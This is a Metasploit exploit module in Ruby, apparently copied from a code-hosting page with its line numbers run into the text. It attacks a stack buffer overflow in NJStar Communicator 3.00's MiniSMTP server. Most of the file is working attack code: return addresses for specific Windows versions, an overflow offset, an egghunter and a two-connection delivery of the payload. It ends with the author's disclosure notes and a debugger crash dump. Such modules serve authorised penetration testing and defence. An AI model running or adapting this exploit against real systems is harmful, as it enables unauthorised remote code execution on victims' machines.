Path: blob/master/modules/exploits/windows/smtp/njstar_smtp_bof.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'NJStar Communicator 3.00 MiniSMTP Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow vulnerability in NJStar Communicator18Version 3.00 MiniSMTP server. The MiniSMTP application can be seen in multiple19NJStar products, and will continue to run in the background even if the20software is already shutdown. According to the vendor's testimonials,21NJStar software is also used by well known companies such as Siemens, NEC,22Google, Yahoo, eBay; government agencies such as the FBI, Department of23Justice (HK); as well as a long list of universities such as Yale, Harvard,24University of Tokyo, etc.25},26'License' => MSF_LICENSE,27'Author' => [28'Dillon Beresford', # Original discovery and MSF Module.29],30'References' => [31[ 'OSVDB', '76728' ],32[ 'CVE', '2011-4040' ],33[ 'URL', 'http://www.njstar.com/cms/njstar-communicator' ],34[ 'EDB', '18057' ]35],36'DefaultOptions' => {37'EXITFUNC' => 'thread',38},39'Platform' => 'win',40'Payload' => {41'BadChars' => "\x00",42'StackAdjustment' => -1500,43},44'Targets' => [45[46'Windows XP SP2/SP3',47{48'Ret' => 0x77c35459, # PUSH ESP; RETN (MSVCRT.dll)49'Offset' => 247,50}51],52[53# Can't test patch level on this one, because you can't54# even update Win2k3 SP0 anymore from Windows Update55'Windows Server 2003 SP0',56{57'Ret' => 0x77d20738, # JMP ESP (USER32.dll)58'Offset' => 247,59}60],61[62'Windows Server 2003 SP1/SP2',63{64'Ret' => 0x77BE2265, # PUSH ESP; RETN (MSVCRT.dll)65'Offset' => 247,66}67]68],69'Privileged' => false,70'DisclosureDate' => '2011-10-31',71'DefaultTarget' => 0,72'Notes' => {73'Reliability' => UNKNOWN_RELIABILITY,74'Stability' => UNKNOWN_STABILITY,75'SideEffects' => UNKNOWN_SIDE_EFFECTS76}77)78)7980register_options([Opt::RPORT(25)])81end8283def check84connect85# We get a response like: "220 [host-name] Service Ready"86# But we don't really care about this one87res = sock.get_once(-1, 5)88vprint_status("Banner: #{res.to_s.chop}")8990sock.puts("HELP\r\n")9192# But the HELP response will tell us if this is a NJStar SMTP or not93res = sock.get_once(-1, 5)94vprint_status("HELP Response: #{res.to_s.chop}")95disconnect9697# I can only flag it as "Detected" because it doesn't return a version98if res =~ /Windows E-mail Server From NJStar Software/i99return Exploit::CheckCode::Detected100end101102return Exploit::CheckCode::Safe103end104105def exploit106eggoptions =107{108:checksum => true,109:eggtag => "w00t"110}111112hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)113114buffer = rand_text(target['Offset'])115buffer << [target.ret].pack('V')116buffer << hunter117buffer << make_nops(4)118119# Just some debugging output so we can see lengths and byte size of each of our buffer.120vprint_status("egg: %u bytes: \n" % egg.length + Rex::Text.to_hex_dump(egg))121vprint_status("hunter: %u bytes: \n" % hunter.length + Rex::Text.to_hex_dump(hunter))122vprint_status("buffer: %u bytes:\n" % buffer.length + Rex::Text.to_hex_dump(buffer))123124print_status("Trying target #{target.name}...")125126# har har har you get trick no treat...127# we dont have very much space so we128# send our egg in a seperate connection129connect130131print_status("Sending the egg...")132sock.put(egg)133134# I think you betta call, ghostbusters...135# now we send our evil buffer along with the136# egg hunter, we are doing multiple connections137# to solve the issue with limited stack space.138# thanks to bannedit for advice on threads and139# making multiple connections to get around140# stack space constraints. :)141connect142143print_status("Sending our buffer containing the egg hunter...")144sock.put(buffer)145146handler147disconnect148end149end150151=begin152Dillon Beresford153https://twitter.com/#!/D1N154155NJStar Communicator156Version: 3.00 and prior157Build: 11818 and prior158159Tested minismtp version:1601.30.0.60218161162Shouts to bannedit, sinn3r, rick2600, tmanning, corelanc0d3r, jcran,163manils, d0tslash, mublix, halsten, and everyone at AHA!164165No response as of 10/31/11 from AUSCERT or the software vendor. CNCERT and USCERT responded166on 10/30/11 and 10/31/11, CNCERT said in an email they needed to see if the vulnerability167is remotely exploitable and needed more verification. I sent a proof of concept exploit168in python with remote code execution. So, here is the proof that the bug is, in fact,169remotely exploitable. WIN!170171System DLLs are used for target.ret because minismtp.exe is the only NJStar component in172memory, and its base starts with a 0x00, that's no good. However, if your target machine173started minismtp from the Windows start menu (Start -> All Programs -> NJStar Communicator174-> NJStar MiniSmtp), it'd actually load up more DLLs. And one of them -- MSVCR100.dll -- is175ideal enough to use (No rebase, starts with a high address, but there is an ASLR flag).176177eax=00000000 ebx=00417bf8 ecx=00002745 edx=00000000 esi=008a3e50178edi=008a3d80179eip=42424242 esp=00ccff70 ebp=7c8097d0 iopl=0 nv up ei pl nz na pe nc180cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000181efl=0001020618242424242 ?? ???1830:003> !exchain184image00400000+bbc4 (0040bbc4)18500ccff00: 41414141186Invalid exception stack at 414141411870:003> d esp18800ccff70 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD18900ccff80 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD19000ccff90 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD19100ccffa0 44 44 44 44 00 ff cc 00-c4 bb 40 00 20 23 41 00 DDDD......@. #A.19200ccffb0 00 00 00 00 ec ff cc 00-29 b7 80 7c b8 3d 8a 00 ........)..|.=..19300ccffc0 00 00 00 00 00 00 00 00-b8 3d 8a 00 00 c0 fd 7f .........=......19400ccffd0 00 d6 e3 89 c0 ff cc 00-98 08 99 89 ff ff ff ff ................19500ccffe0 d8 9a 83 7c 30 b7 80 7c-00 00 00 00 00 00 00 00 ...|0..|........196197=end198199200